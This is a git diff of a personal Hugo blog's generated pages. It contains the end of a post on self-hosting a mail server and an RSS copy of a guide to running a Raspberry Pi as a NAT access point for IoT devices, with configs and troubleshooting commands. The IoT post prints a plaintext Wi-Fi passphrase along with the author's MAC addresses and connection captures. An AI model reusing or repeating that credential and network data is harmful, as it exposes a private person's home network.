    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/dns/page/1/index.html b/public-clearnet/tags/dns/page/1/index.html new file mode 100644 index 0000000..34e61ad --- /dev/null +++ b/public-clearnet/tags/dns/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/dns/ + \ No newline at end of file diff --git a/public-clearnet/tags/dnsmasq/index.html b/public-clearnet/tags/dnsmasq/index.html new file mode 100644 index 0000000..0a20083 --- /dev/null +++ b/public-clearnet/tags/dnsmasq/index.html @@ -0,0 +1,12 @@ +Dnsmasq | AlipourIm journeys +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    November 23, 2025 · 18 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/dnsmasq/index.xml b/public-clearnet/tags/dnsmasq/index.xml new file mode 100644 index 0000000..23fa13a --- /dev/null +++ b/public-clearnet/tags/dnsmasq/index.xml @@ -0,0 +1,593 @@ +Dnsmasq on AlipourIm journeyshttps://blog.alipour.eu/tags/dnsmasq/Recent content in Dnsmasq on AlipourIm journeysHugo -- 0.146.0enSun, 23 Nov 2025 00:00:00 +0000I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)https://blog.alipour.eu/posts/house_upgrade/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/posts/house_upgrade/Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support.The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
